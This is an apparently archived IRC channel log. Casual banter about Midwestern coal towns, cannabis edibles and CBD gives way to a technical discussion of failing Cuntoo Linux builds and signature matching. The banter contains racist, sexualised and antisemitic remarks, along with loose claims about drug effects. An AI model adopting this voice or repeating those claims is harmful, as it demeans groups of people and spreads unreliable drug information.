1894187;1549689042;BingoBoingo;Mind trinque, ben_vulpes, and asciilifeform living in alt-Midwests to this day 1894188;1549689079;BingoBoingo;Or danielpbarron defecting to a midwest without any loam at all 1894189;1549689180;*;BingoBoingo hopes to have opened at least one new vein for mircea_popescu and hanbot to mine 1894190;1549689189;nicoleci;BingoBoingo, hahaha! i hope you get to met your hero shaggy2dope one day 1894191;1549689205;nicoleci;i can see it re the republic! 1894192;1549689207;BingoBoingo;Fuck that loser, Violent J 1894193;1549689272;BingoBoingo;Anyways, my hometown and several near it were the lucky ones in the region for NOT having coal veins of importance 1894194;1549689301;nicoleci;BingoBoingo, why lucky? 1894195;1549689344;BingoBoingo;Today they are places you can plop down a US stick and plastic "habitation" without eating an insurance dick for risk on mine subsidence 1894196;1549689386;BingoBoingo;When they mines died, unlike their unlucky neighbors they didn't Qatar and die 1894197;1549689482;nicoleci;BingoBoingo, ahh I see and this was in Illinois? steel is our defunct industry 1894198;1549689503;BingoBoingo;Next town over friend of the father's family runs his farm with energy costs == teflon tape for not selling mineral rights over an empty rock dome which today is a pressurized natgas router. 1894199;1549689558;BingoBoingo;Steel is a defuct industry here too, but they used to and around Nashville still mine coal. But the kind rich in sulfur. No anthracite primadonna shit. 1894200;1549689621;BingoBoingo;Lots of black sand dollars, and retard shark jaws 1894201;1549689686;BingoBoingo;Turns out no one cares about fossils when there's rocks to burn 1894202;1549689779;*;BingoBoingo can not recommend DIY mine tours on the grounds that IRL hell is cold and wet 1894203;1549690005;BingoBoingo;Indiana's primary disability is it lacks Illinois' geological weird at the extremes 1894204;1549690343;nicoleci;BingoBoingo, cant imagine what youd find in a mine. agreed, indiana only has limestone and plenty of caves to tour 1894205;1549690416;BingoBoingo;Well, dead shark jaws and black sand dollars a plenty. Like other not that uncommon things people pretend there's market scarcity until a grand kid unloads grandpa's hoard. 1894206;1549690462;BingoBoingo;Then they specify and region wank defending what they are holding from the new aggressive seller. Very much a Chinese bullion coin problem. 1894207;1549690708;nicoleci;interesting - unsurprisingly i had no idea about the black sand dollars and dead shark jaws 1894208;1549690741;BingoBoingo;Well, coal generally signifies dead organic shit 1894209;1549690763;BingoBoingo;Apparently Albers, Illinois used to be shark country 1894210;1549690863;nicoleci;hmm makes sense. so much cooler than indiana. i lived in naperville for a year, such a mistake. 1894211;1549690923;BingoBoingo;Oh, You are a Yankee 1894212;1549690952;BingoBoingo;Naperville Illinois is such a pale nanny state shithole 1894213;1549691017;*;BingoBoingo bases that on hotel pool being closed 8th grade state geography bee... to the extent Illinois could pretend such a contest 1894214;1549691051;BingoBoingo;Rockford much cooler, Koi in the hotel lobby (6th grade lower standards, ratchet works one way) 1894215;1549691123;BingoBoingo;This of course ends in not being down with the clown because lil' debbie claims to be the ratchet, a claim contested by alicia all whatever the fuck 1894216;1549691198;BingoBoingo;Followed by mud huts surrounding mine tailing retention ponds, declarations that small mouth bass ought to have three eyes, and why shouldn't your cousin be the prettiest girls, etc, etc, 1894217;1549691300;BingoBoingo;Definitive cultural artifact, apologies for the Vexual format: https://www.youtube.com/watch?v=nt0C7yVhkaY 1894218;1549691327;BingoBoingo;Titled: "MICHELLE OBAMA" Official Video - LiL DEBBiE & RiFF RAFF + ATL..." 1894219;1549691416;BingoBoingo;Midwest stress can break 4 ways from my perch: to republic, to the grindstone, to walmart scootypuffs, and to African booty Purple Drank shit 1894220;1549691451;BingoBoingo;In order of ascending popularity and indictment of demoocracy 1894221;1549691558;nicoleci;BingoBoingo, lmao! lil debbie is a terrorist, ugh riff raff was probably born at walmart and true rockford is much cooler. asciilifeform is going to be so mad at the quality of the channel discussion 1894222;1549691920;mircea_popescu;i have nfi what you two are on about, by and large. 1894223;1549691925;BingoBoingo;WoT is a thing. I have my doubts asciilifeform will find this tangent without quality as I took him to the Tres Cruses national bus terminal and shopping for ice cream and shade en route to the store that sells cables. 1894224;1549691941;BingoBoingo;mircea_popescu: Take it on my word you are better off not knowing 1894225;1549691961;BingoBoingo;This is white folks in african mud huts 1894226;1549691971;BingoBoingo;Pantsuit endgame shit 1894227;1549691980;nicoleci;lmao truth. 1894228;1549692025;BingoBoingo;White girls with the one token white guy chanting pantsuit friendly phraseology to a beat 1894229;1549692056;BingoBoingo;Corresonds to fall 2015 sobering the fuck up 1894230;1549692064;nicoleci;so when are you guys coming to costa rica? Bring trinque 1894231;1549692074;mircea_popescu;why trinque ? 1894232;1549692109;BingoBoingo;I am not comfortable being outside of a leisurley walk to the Pizarro Rack without coverage. 1894233;1549692131;nicoleci;i feel like hed appreciate this, and asciilifeform of course 1894234;1549692156;BingoBoingo;surley, becaue there is one bum normally situated in the other direction who enjoys playing with his mortality too much 1894235;1549692164;mircea_popescu;oh i read ~barring~ was confused. 1894236;1549692241;mircea_popescu;anyway, im guessing after this spirited bout of dank posting, bb will be forever known as bimboboingo 1894237;1549692255;BingoBoingo;Nah, she's too tall 1894238;1549692260;nicoleci;the boingoest 1894239;1549692292;*;BingoBoingo entertained the afrodescendiente bitches in old country, awful ergonomics 1894240;1549692346;BingoBoingo;http://btcbase.org/log-search?q=ergonomics 1894241;1549692463;*;asciilifeform suspects magick BingoBoingostani pie 1894242;1549692474;BingoBoingo;I'm 5'7, hooked 5'9 and 5'11 lean testaments to Africa back where Africa was trendy. 1894243;1549692483;asciilifeform;BingoBoingo: you ate both halves didntcha. 1894244;1549692500;mircea_popescu;i think he might've eaten three halves. 1894245;1549692504;nicoleci;lmaooo, my favorite day in #trilema 1894246;1549692540;BingoBoingo;asciilifeform: You can't dry the memories, but taste testing candidates for "the mellow stuff" 1894247;1549692550;mircea_popescu;BingoBoingo so send 'em to cr, we take 6 foot non-pink nippled gals here. 1894248;1549692559;asciilifeform;mircea_popescu: ftr asciilifeform found that 1 half is quite enuff to 'watch cartoons on ceiling' 1894249;1549692619;nicoleci;BingoBoingo, please. i have to see asciilifeform on edibles 1894250;1549692622;BingoBoingo;mircea_popescu: carbon black nipples the both of them. Raised withing 5 km of each other. One catholic schools (not rare) other "baptist" school. 1894251;1549692705;BingoBoingo;nicoleci: asciilifeform looks the same as he always does when he isn't wearing his special customs clearing outfit 1894252;1549692796;BingoBoingo;And the edibles are some dangerous shit. Put a venue to sleep for ~10 pesos a head and leave em stupid for a week using the common sourced shit. 1894253;1549692902;nicoleci;lmao! the racks will be okay for a few days 1894254;1549692904;BingoBoingo;Stoners talk about "CBD" like its a miracle for a reason. It is not that "CBD" is a miracle fix everything drug. It is that "CBD" is a partial agonist at the receptors they soak! 1894255;1549692929;BingoBoingo; lmao! the racks will be okay for a few days << Not if the jews know which few days 1894256;1549692981;asciilifeform;wat was 'cbd' ? 1894257;1549692984;BingoBoingo;For Chronic self disabilitating stoners "CBD" will lift them out of the fog. 1894258;1549692996;nicoleci;BingoBoingo, so hows the paranoia on edibles lol 1894259;1549693000;BingoBoingo;asciilifeform: Partial antagonist to the receptors THC hits 1894260;1549693028;BingoBoingo;nicoleci: Less than the sedation. 1894261;1549693084;BingoBoingo;Seriously changes the "How I would have done it" of every heist movie involving drugs ever. 1894262;1549693136;BingoBoingo;Anyways, as a partial agonist CBD, should your flower have it caps how high the high is 1894263;1549693144;BingoBoingo;And caps how long the high is 1894264;1549693209;BingoBoingo;And apparently is in all the "creative flower" as reconstructed by "justus todd Raveneirs" 1894265;1549693301;BingoBoingo;Like Vareniciline for nicotine, except... not touching the dominant muscle receptor 1894266;1549693372;BingoBoingo;Maybe some babies with congentital weird stop seizing to death on CBD, but the principal benefit seems to be to confirmed stoners who want to stop actively disabling themselves 1894267;1549693614;nicoleci;lol well this has been informative. 1894268;1549693766;BingoBoingo;nicoleci: There was another thread near http://bingology.net/2018/10/14/that-one-agricultural-product-and-uruguay/ where mircea_popescu mentioned he veteran stoner knocked out by new shit 1894269;1549693821;BingoBoingo;Out for 8+ hours like an oxy freak, but on pantsuit friendly cannajeans 1894270;1549693828;nicoleci;BingoBoingo, hanbot has a great story regarding that! 1894271;1549693845;nicoleci;as they say, dont get high off of your own supply 1894272;1549693897;BingoBoingo;This is Uruguay, I am surrounded by retards who do indoor tends while posessing perfectly good baclonies with sun exposure. 1894273;1549693952;BingoBoingo;The mission, as I see it, is to find an antidote. The high times promises this antidote is a partial agonist they call CBD> 1894274;1549694014;BingoBoingo;Tonight I am tempted to burn them all for fucking my already abysmal dyslexiatech spell algorithms 1894275;1549694085;*;BingoBoingo recommends if one must have a drug induced break down the best place is in a public where the peers know your baseline 1894276;1549694274;*;BingoBoingo still pretty sure recommending 35k cost basis locations with 75k wages to alf in 2015 which had loading docks 1894277;1549694315;BingoBoingo;Dry cleaning may not always be a living, but it is an industry 1894278;1549694441;nicoleci;BingoBoingo, sounds like Uruguay is still on to something 1894279;1549694617;BingoBoingo;Not really, they made a piss poor showing at their own expo cannabis unmanning their own domestic seed bank booths. Current sample which exceeds disability I am inclined to share with datacenter is "Auto Blue Ace CBD" by "Delicious Seeds" 1894280;1549694690;BingoBoingo;Aftertaste they accurately describe as hash. For effect they mention NOTHING at all about my crank case full of strawberry cosby. 1894281;1549694752;BingoBoingo;This isn't the pisspot story. Cocaine has some virtues. I dunno that weed can be anything other than Pol Pot shit 1894282;1549694821;BingoBoingo;http://trilema.com/2017/the-pisspots/ for reference 1894283;1549694956;nicoleci;lmao to bad, sounds more organized than Costa Ricas product 1894284;1549695027;BingoBoingo;Well Paraguay is either #1, #2 or #3 in the world and Paraguay isn't your almost neighbor 1894285;1549695079;BingoBoingo; lmao to bad, sounds more organized than Costa Ricas product << Before you think this could be a good thing consider tomatoes back home 1894286;1549695193;nicoleci;hmmm interesting point. 1894287;1549695216;BingoBoingo;To Spoil this country's domestic indoor crop only requires 10-24 male plants of southwest asian descent started last week 1894288;1549695224;BingoBoingo;Wind does the rest 1894289;1549695310;BingoBoingo;Consider the water tumor that is a Walmart tomato, the sickness that is a farmers market tomato, and the bliss that is one of your grandparent's tomatoes provided they don't suck 1894290;1549695485;BingoBoingo;If you have ate a purple tomato you know what I mean. If you ate a SOLID purple tomato... that is a lot of dye... are you still pissing blue? 1894291;1549696825;mircea_popescu;BingoBoingo you need some sleep you know. 1894292;1549698874;feedbot;http://thewhet.net/2019/02/hanbots-cuntoo-bake-test-notes-part-i/ << The Whet -- hanbot's Cuntoo Bake Test Notes - Part I 1894293;1549717902;BingoBoingo; Verdict: too active to be the mellow stuff 1894294;1549719110;Mocky;mircea_popescu: thx for the mega comment 1894295;1549721592;auctionbot;Buy order # 1038 has ENDED: No sale. Attn: BingoBoingo 1894296;1549726141;mircea_popescu;Mocky now you gotta answer it :D 1894297;1549726151;mircea_popescu;also this style where the quotes are 2.5x the text in comments is for the fish. 1894298;1549726180;Mocky;i'm still reading the links. currently at http://trilema.com/2017/paolo-il-caldo/ 1894299;1549726224;Mocky;yeah, my hand rolled blog is not long for this world http://btcbase.org/log/2019-02-09#1893948 1894300;1549726224;a111;Logged on 2019-02-09 01:06 Mocky: then imma migrate to wp 1894301;1549726253;Mocky;i will answer 1894302;1549726258;mircea_popescu;no rush. 1894303;1549726283;mircea_popescu;btw, totally worth seeing the films referenced, half dozen or so they may be, in the sense that i don't expect there's any chance of your having encountered them or anything like them on your own. 1894304;1549726315;mircea_popescu;bubble bursting is the exact converse activity of naggum's http://www.loper-os.org/?p=165#selection-391.394-391.502 1894305;1549726564;mircea_popescu;(i mean in the sense that by the time one's seen everything, the order starts mattering so much. in fact the order's mostly important before completion, in that it holds predictive value. which is to say that if i can cut the space of existence into the set of "he has probably seen" and "he has probably not seen" i have a significant strategic advantage over the he.) 1894306;1549726633;mircea_popescu;the order stops mattering* 1894307;1549726728;Mocky;Pretty likely I haven't encountered the like, I'll watch 1894308;1549727283;mircea_popescu;bwahahaha new england patriots won the superbowl ? what the everfuck. 1894309;1549727327;mircea_popescu;i had nfi "greater boston area" had a team, when the fuck did this happen. 1894310;1549727643;Mocky;i'm assuming "Eu cind vreau sa fluier, fluier" == "Eu cand vreau sa fluier, fluier". The former named in http://trilema.com/2016/a-story-of-men/ the latter available for download 1894311;1549727901;mircea_popescu;yeah. 1894312;1549727941;mircea_popescu;"I, when feeling like whistling, whistle", and not the atrocious barbarism it's marketed as. 1894313;1549728024;asciilifeform;http://btcbase.org/log/2019-02-09#1894304 << hey loox like mircea_popescu found how to set off a ~second~ bug in the selector 1894314;1549728024;a111;Logged on 2019-02-09 15:31 mircea_popescu: bubble bursting is the exact converse activity of naggum's http://www.loper-os.org/?p=165#selection-391.394-391.502 1894315;1549728061;mircea_popescu;darn, not worky ? 1894316;1549728064;mircea_popescu;i had "That the probably only _truly_ random element in anyone’s life is the order in which they experience things" selected. 1894317;1549728071;asciilifeform;apparently not, and i dunneven know why just yet 1894318;1549728073;asciilifeform;ty mircea_popescu 1894319;1549728139;asciilifeform;http://www.loper-os.org/?p=165#selection-393.393-393.502 seems to work... 1894320;1549728155;asciilifeform;very odd. 1894321;1549728162;mircea_popescu;i see it. 1894322;1549728167;mircea_popescu;nfi what the fuck was up its ass. 1894323;1549728178;asciilifeform;i gotta saw that thing open again when i get free hand 1894324;1549728208;mircea_popescu;conceivably some context leakage by browser, i wouldn't fucking bother until we actually have a browser that works. 1894325;1549728245;asciilifeform;http://btcbase.org/log/2019-02-09#1894292 << hanbot : the link to 1894326;1549728245;a111;Logged on 2019-02-09 07:54 feedbot: http://thewhet.net/2019/02/hanbots-cuntoo-bake-test-notes-part-i/ << The Whet -- hanbot's Cuntoo Bake Test Notes - Part I 1894327;1549728249;asciilifeform;mod6 is broken 1894328;1549728260;asciilifeform;http://btcbase.org/log/2019-02-09#1894292 << hanbot : the link to mod6 is broken 1894329;1549728260;a111;Logged on 2019-02-09 07:54 feedbot: http://thewhet.net/2019/02/hanbots-cuntoo-bake-test-notes-part-i/ << The Whet -- hanbot's Cuntoo Bake Test Notes - Part I 1894330;1549728313;asciilifeform;grr i gotta stiffen the spring tension on that 'return' pedal. 1894331;1549728388;asciilifeform;mircea_popescu: 'browser that works' would be a mighty great thing. 1894332;1549728420;asciilifeform;currently i've nfi out of what one'd even begin to make it, tho 1894333;1549728510;asciilifeform;hm hanbot doesn't seem to have the selector js thing in place ( or does, and it dungo..? ) 1894334;1549728579;asciilifeform;hanbot: i thought you were gonna revv up a cuntoo ? article seems to concern a classical gentoo install ? 1894335;1549728612;asciilifeform;the provided box is already running a trad gentoo; theoretically should suffice for bringing up cuntoo, as i understand 1894336;1549728717;*;asciilifeform brb,tea 1894337;1549730044;BingoBoingo;!Xbuy 154mn 24 500 Wired Filthy Fiats (WU esta bien) 1894338;1549730044;auctionbot;Buy order # 1039 created by BingoBoingo: 500 Wired Filthy Fiats (WU esta bien) Opening: 154mn ecu Ending: 2019-02-10 04:37:54.605523 UTC (23 hours) 1894339;1549730057;BingoBoingo;^ Take 3 1894340;1549731053;Mocky;http://btcbase.org/log/2019-02-09#1894296 << answered 1894341;1549731053;a111;Logged on 2019-02-09 15:29 mircea_popescu: Mocky now you gotta answer it :D 1894342;1549731492;trinque;hanbot: two things. one, you'll need to build phf's vtools and have that available in the build environment. the build wont generate a genesis.vpatch without it. 1894343;1549731550;trinque;secondly, the build expects you to pass a whole block device (disk) upon which it will write a completely new partition scheme. you don't want to do this to the drive from which you booted. 1894344;1549733158;asciilifeform;trinque: we supplied hanbot with box containing empty sata disk, and separate (usb) drive from which booted. 1894345;1549733341;asciilifeform;seems to me from the article that hanbot went to setup up a ~traditional~ gentoo 1st, which as i understand isn't actually needed ( machine already booted into 1 ) 1894346;1549733987;trinque;yep, just needs a virgin disk. no need to stand up another vanilla gentoo on that disk first; the bootstrapper handles everything else. 1894347;1549734179;BingoBoingo;asciilifeform: Seems like the sort of thing that can save work later. The supplied USB is a "live" image working off of a squashfs 1894348;1549734200;asciilifeform;BingoBoingo: it has 12G of writeable space, oughta suffice for cuntoo build afaik 1894349;1549735101;BingoBoingo;Indeed. Yet I suspect doing a heathen gentoo on the spinning disk will provide a valuable point of contrast Cuntoo. There's 2 kinds of steps you can insert into a process beyond the minimum. Educative ones where you explore the space gathering experience which may be useful later. The other kind are pure friction a la SOPS. 1894350;1549735295;asciilifeform;BingoBoingo: as i understand, then would need a ~third~ disk for cuntoo. 1894351;1549735364;asciilifeform;BingoBoingo: imho there's not much educational value any moar in setting up ancient gentoo; it's obsoleted by cuntoo, and quite difficult to revv up on acct of the dead mirrors 1894352;1549735391;BingoBoingo;asciilifeform: We've got disks both USB and a second missile code free 160G spinner 1894353;1549735518;asciilifeform;i'm not even certain that it's ~possible~ today to glue together a complete classical gentoo ( and if possible today -- may not be tomorrow ) 1894354;1549735528;asciilifeform;was sorta half the reason for cuntoo in the 1st place 1894355;1549735551;BingoBoingo;Ah 1894356;1549735742;asciilifeform;BingoBoingo: there is of course the bottled gentoo i baked for rk; but it is also arguably a technological dead-end, and eventually oughta be replaced with arm cuntoo 1894357;1549735797;asciilifeform;( cuntoo was not available when i baked rk , and it was necessary to work around the sad state of the upstream mirrors, hence why bottled it ) 1894358;1549735883;asciilifeform;rk-gentoo still pulls from heathen mirrors if you 'emerge ...' , i dun expect this will work 4evah 1894359;1549735962;asciilifeform;and incidentally ( achtung rk users ! ) if you are careless and allow 'emerge' to update, you will hose the machine, from that point it will whine ( about the prohibition on systemd!! ) and grind to a halt when asked to emerge anyffin 1894360;1549736005;asciilifeform;i'd prefer to get the rk plant onto a working cuntoo as soon as it becomes practical. 1894361;1549736148;asciilifeform;iirc this is amply documented in the logs, but will remind folx again, ~errything~ on the heathen mirrors oughta be considered in full fungal bloom, at this pt. 1894362;1549736215;asciilifeform;i defungated this bread crust many times, but there aint so much bread remaining in it. 1894363;1549736331;asciilifeform;a working cuntoo is the only path fwd for reproducible, reasonably-working unix box. 1894364;1549736690;hanbot;asciilifeform, trinque, BingoBoingo no, i'm aware. nevertheless, wanted to try getting a gentoo on first, seeing how it's in fact needed, and perhaps the general case of someone who isn't this good friends with this many experts is to be explored. 1894365;1549736691;lobbesbot;hanbot: Sent 2 days, 15 hours, and 19 minutes ago: http://p.bvulpes.com/pastes/ODjpO/?raw=true << Credentials for AMD64 box 1894366;1549736711;hanbot;doesn't seem too rosy, either. (i just hope i didn't hose your install usb in the process somewhere.) 1894367;1549736813;BingoBoingo;hanbot: I still have the image I wrote and other sticks up to 16GB locally sourced without Uruguay pricing hitting too hard 1894368;1549736966;mod6;fwiw, I've been working on trying to get cuntoo working for 10 days. 1894369;1549737064;mod6;not 10 full days, but certainly 10 days of approx. 2 hour sessions each day. i've been hooking up null modem cables to capture kernel panics... i've taken to hacking trinque's scripts, just about everything to try to conquer this type of error: 1894370;1549737068;mod6;Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) 1894371;1549737156;mod6;Anyway, I think it maybe just hates my iron for some unknown reason. Obviously, I leaving out a lot of details here, but i've tried everything, different boot loaders, minor adjustments to fstab, a working kernel, map and initrd from the working gentoo (ON THE SAME BOX)... a hand built initrd. 1894372;1549737159;mircea_popescu;mod6 you gotta post all this wtf. 1894373;1549737161;mod6;the list goes on and on. 1894374;1549737184;asciilifeform;mod6: if yours panics, sounds like kernel (or even iron) problem , rather than cuntoo issue 1894375;1549737209;asciilifeform;cuntoo afaik is atm silent on the question of what goes in kernel. 1894376;1549737213;mod6;well, I didn't want to send people down rabbit holes, but now im at the point where I think I can't get any further with out more help. 1894377;1549737248;mod6;right, i agree, so i don't think it's ~cuntoo~ per se... but imagine this. I've had gentoo running on that hardware for nearly a year since i bought it. 1894378;1549737268;mod6;it has a name, 'trb-test1', a simple gentoo box to run trb test builds. 1894379;1549737275;asciilifeform;mod6: i assume you fed trinque's script your kernel config ? 1894380;1549737290;mod6;yup, exactly. 1894381;1549737302;mod6;and a whole bunch of slight variants trying to unfuck the thing. 1894382;1549737324;asciilifeform;mod6: mircea_popescu already said, but pleeez post your process 1894383;1549737339;mod6;yeah, im long overdue for a blog on the thing. 1894384;1549737345;asciilifeform;lotsa folx over the years tried 'telepathic debug', but it never worx, we aint got any telepaths 1894385;1549737348;mircea_popescu;thinking about http://btcbase.org/log/2019-02-09#1894351 / http://btcbase.org/log/2019-02-09#1894364 it seems to me that we've created this situation where at the same time a) there's no real purpose to still looking at heathen gentoo as anything more than crap but also b) there's not very clearly delineated "use this prepackaged thing" (nor is a all that clearly communicated). 1894386;1549737348;a111;Logged on 2019-02-09 18:02 asciilifeform: BingoBoingo: imho there's not much educational value any moar in setting up ancient gentoo; it's obsoleted by cuntoo, and quite difficult to revv up on acct of the dead mirrors 1894387;1549737348;a111;Logged on 2019-02-09 18:24 hanbot: asciilifeform, trinque, BingoBoingo no, i'm aware. nevertheless, wanted to try getting a gentoo on first, seeing how it's in fact needed, and perhaps the general case of someone who isn't this good friends with this many experts is to be explored. 1894388;1549737368;mod6;after lastnights mis-adventure; i'm out of ideas, so I'll stop banging on it and make a post. 1894389;1549737386;asciilifeform;mircea_popescu: heathen gentoo is exactly lenin's 'we build the new shithouse from the rubble of the old, there aint any imported brick to build it from' 1894390;1549737388;mircea_popescu;"transition phase", whatever, but the point remains that if we're going to actually take the a) view then something very much like what she's looking for ("i took what looked like the tmsr official gentoo off the foundation site") should also exist. 1894391;1549737413;asciilifeform;mircea_popescu: presently exists for rk. do you suppose also oughta have one for pc ? 1894392;1549737414;mircea_popescu;i'm guessing what we actually want here is to get cuntoo ready already and then just skip this step altogether ; meanwhile sit unprotected 1894393;1549737437;mircea_popescu;asciilifeform i don't specifically know, but what she says is not without merit, "what's somebody other than me supposed to do???" 1894394;1549737456;mircea_popescu;after all, the whole fucking point of "test this" is the "somebdoy other than me" outlook. otherwise what, "worked for me" ? 1894395;1549737461;asciilifeform;mircea_popescu: ideally would be 'download trinque's signed iso and boot from it, then install cuntoo' 1894396;1549737464;asciilifeform;but loox like we aint there yet 1894397;1549737466;mircea_popescu;gotta look around when testing. 1894398;1549737534;asciilifeform;i gotta agree with mircea_popescu tho, the current recipe is very muchly 'wanna light a fire? take a stick, and yer old fire..' 1894399;1549737576;mircea_popescu;won't be the end of the world if we manage to actually have a cuntoo in a few months. 1894400;1549737577;asciilifeform;trinque: what's the obstacle currently in the way of a bootable cuntoo iso ? 1894401;1549737588;mircea_popescu;well for one thing he's waiting for some sig reproductions. 1894402;1549737614;mircea_popescu;or at any rate, i'd be were i him. 1894403;1549737620;asciilifeform;rright , but this apparently requires a working fossilized gentoo. to reproduce at all. 1894404;1549737630;mod6;i should add, that my output genesis has never verified with his original sig, i admit to not even trying his new sig posted in his comment section. 1894405;1549737644;mod6;just because I can't even get it to boot, so just left that aside for the time being. 1894406;1549737662;mircea_popescu;asciilifeform consider this phd assemblyline we've made here : both mod6 and hanbot have sunk >1 hour into it with little to show for. 1894407;1549737666;mod6;i'll go to work on a blog post, this weekend. will try to capture all the details. 1894408;1549737684;mircea_popescu;and this is the ~reported~, who knows what else. 1894409;1549737690;asciilifeform;what i thought hanbot was going to do, is to attempt trinque's recipe using BingoBoingo's beachhead stick . then BingoBoingo's fossil gentoo can be pressed into service as standard beachhead, while such thing still needed. 1894410;1549737703;mod6;i've actually been lucky enough to have shinohai's ear this whole time too, who actually has a working cuntoo. 1894411;1549737708;mircea_popescu;seems that's definitely what she's going to do now. 1894412;1549737713;mod6;but, again, maybe it's this intel hardware. not sure. 1894413;1549737763;mircea_popescu;asciilifeform i dunno about you, but i am fucking suspicious as all hell of all these "here's our matrix dot printer, to use it here's the matrix dot printer program". 1894414;1549737798;BingoBoingo;asciilifeform: It's not my fossil gentoo outside of the sense I plucked it out of the wild for a lack of anything else 1894415;1549737825;asciilifeform;mircea_popescu: the only total cure for thompsonism is to ditch unix/c/pc/etc entirely. we aint there yet tho. 1894416;1549737825;mod6;on the bright side, i thought that my inital new SSD i ordered for cuntoo was just bad in some way, so i went and bought another. so now i have a spare :] 1894417;1549737829;*;mircea_popescu not about to pull a stink about it in the instant case, obviously. but the general config still is "wtf, can't use my own gentoo for this, gotta use apple's cable ?" 1894418;1549737857;asciilifeform;mircea_popescu: the fundamental problem is that 'my own gentoo' is not a defined item. 1894419;1549737868;mircea_popescu;good thing it has a name. 1894420;1549737869;asciilifeform;sorta why it gotta die to begin with. 1894421;1549737894;mod6;i should also mention that shinohai's working cuntoo is a APU box - not intel. 1894422;1549737916;mircea_popescu;shinohai did you publish all this somewhere ? 1894423;1549737933;mod6;anyway, I apologize for not reporting sooner, just thought that I could emerge victorious one of these attempts. I'll stfu and go to work on a blog with more deets. 1894424;1549737965;mircea_popescu;mod6 as a rule of thumb, a thing whatever it may be that took over a coupla hours of your time's ripe for blog article by the very nature of life expectancy. 1894425;1549737977;asciilifeform;mircea_popescu: recall the 9000 headaches of folx who tried to build pre-rotor trb ? asciilifeform did not resort to 'and now run this 4 hour script that builds a gcc, and then builds with it a gcc, and ~then~ builds deps, and ~then~ trb' just to make life moar interesting. 1894426;1549737982;mircea_popescu;tes,\ 1894427;1549737985;mircea_popescu;yes* 1894428;1549737995;asciilifeform;it was forced move, on acct of the shitfest that is 'bring own linux' 1894429;1549738014;mircea_popescu;i'm looking at this with an eye to eulora client also and so fucking following. 1894430;1549738049;shinohai;mircea_popescu: http://btcinfo.sdf.org/blog/cuntoo-a-linux-that-sucks-less.html <<< I will mention that the USB version won't boot yet, only useful as chroot device. 1894431;1549738063;mircea_popescu;shinohai well, so does trinque 's sig match ? 1894432;1549738064;mod6;mircea_popescu: indeed overripe now, point taken, Sir. 1894433;1549738094;shinohai;His sig matched in that case, yes. Subsequent attempts on my i5 lappy have failed to get matching sig. 1894434;1549738117;mod6;ahh, yeah mine is i5 also fwiw. 1894435;1549738160;BingoBoingo;HyperThread(TM)(R)? 1894436;1549738222;mod6;maybe? 1894437;1549738236;mircea_popescu;shinohai did you post the http://btcbase.org/log/2019-02-03#1892049 anywhere ? 1894438;1549738236;a111;Logged on 2019-02-03 17:19 trinque: diana_coman: might I get a tarball of your cuntoo build directory's present state? 1894439;1549738241;mod6;like i said, i'll stfu, and write up a post, will include my kernconf. 1894440;1549738242;mircea_popescu;for that lappy i mean 1894441;1549738349;shinohai;Nope, haven't posted the build/ directory up yet. Probably will do so soon. 1894442;1549738455;mircea_popescu;ok so basically so far the situation's that shinohai managed to get trinque's sig to match on a rk but not an intel lappy, while diana_coman mod6 hanbot failed to get it to match on a diverse set of items (laptop, desktop, racked box). 1894443;1549738463;mircea_popescu;and it also came to light it can't yet be seated on 32 bit machines. 1894444;1549738468;mircea_popescu;that about the situation so far ? 1894445;1549738524;hanbot;well my failed attempt isn't known to have anything to do with cuntoo, as i didn't touch it yet. 1894446;1549738537;mircea_popescu;a yes, preparatory phases yet. alright. 1894447;1549738582;BingoBoingo;mircea_popescu: Rather than a rk, shinohai cuntoo'd and AMD E-300 (AMD 64) laptop 1894448;1549738608;shinohai;Yeah, I haven't a rk yet to try, that may come in few weeks 1894449;1549738622;mircea_popescu;ah ok. 1894450;1549738666;mircea_popescu;shinohai you gonna be selling eulora machines nao, like danielpbarron used to ? 1894451;1549738689;mircea_popescu;god knows it'd have come in handy, at the least during http://logs.minigame.biz/2019-01-17.log.html#t11:10:22 sadness. 1894452;1549738690;lobbesbot;Logged on 2019-01-17 11:10:22: im having issues installing the game on linux its failing after running "make" 1894453;1549738800;shinohai;I wish ... would like to have a barn full of the AMD boards, not the most powerful in the world but run really great, even with own gentoo recipe. 1894454;1549738873;mircea_popescu;http://btcinfo.sdf.org/blog/dpb-removed-from-republican-rss-roll.html << lol, check out the skeptical/aloof/pardoy/etcetera, theological discussions, #trilema-from-a-distance, what have you. 1894455;1549738899;mircea_popescu;you know, you're failing to keep up! there's been at least a coupla more items hence! 1894456;1549738937;shinohai;I love lampooning, it's the point of whole blog! 1894457;1549739017;*;shinohai misses Qntra shitcoin lampooning most, but audience is good now on own pages. 1894458;1549739057;mircea_popescu;http://btcinfo.sdf.org/blog/bcinfobot.html << anyone want his bot in here ? 1894459;1549739150;mircea_popescu;shinohai shouldn't you have a comment section or something ? 1894460;1549739199;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-jan-febr-and-march-1716-part-iv/ << Bimbo.Club -- Philosophical Transactions. For the months of Jan. Febr. and March 1716. - Part IV. 1894461;1549739235;shinohai;Possibly, was experimenting with this comment based on btc block times thing, still haven't got it sorted. 1894462;1549739342;mircea_popescu;is this basically your hand spun cl cms or what ? 1894463;1549739418;shinohai;The bot? Or the blog. 1894464;1549739423;mircea_popescu;the blog 1894465;1549739469;shinohai;Blog is just an awk script that generates pages since I like composing from vim. (If wp had this feature would gladly use) 1894466;1549739522;mircea_popescu;why doesn't it ? 1894467;1549739530;mircea_popescu;i mean... you can compose it in emacs and email it to the blog even 1894468;1549739615;shinohai;I dunno if in logs, but I tried this with mp-wp couple years back and didn't get it working properly. https://github.com/dsawardekar/wordpress.vim 1894469;1549739693;mircea_popescu;do you specifically want hooks and all that ? what am i missing here, you can just write your article in vim and either email it to the blog's pop3 acct or else paste it in the web box i guess. 1894470;1549739754;mircea_popescu;though honestly, if i wanted to vim-face mp-wp, i'd put a vimterface on ~mysql~ directly, rather than the wp wrapper. 1894471;1549739766;shinohai;Well I often find myself using box with no X server, is there a way to say make curl request or something that would paste into web box? 1894472;1549739785;mircea_popescu;https://vimconf.wordpress.com/ << meanwhile in other lulz. 1894473;1549739791;mircea_popescu;shinohai certainly. 1894474;1549739827;mircea_popescu;and you can definitely use the email route. moreover, if you suck in some gpgtron, you can even have the thing exposed, and only publish signed content. 1894475;1549739829;shinohai;If so, would be simple matter of making vim alias 1894476;1549739860;mircea_popescu;you specifically want to curl into the web box ? 1894477;1549739884;shinohai;yup 1894478;1549739924;mircea_popescu;well, put something like httpfox on a browser or w/e you use for that, BingoBoingo can set you up a test acct on their shared environment, and you can capture the request it makes and use that in the future. 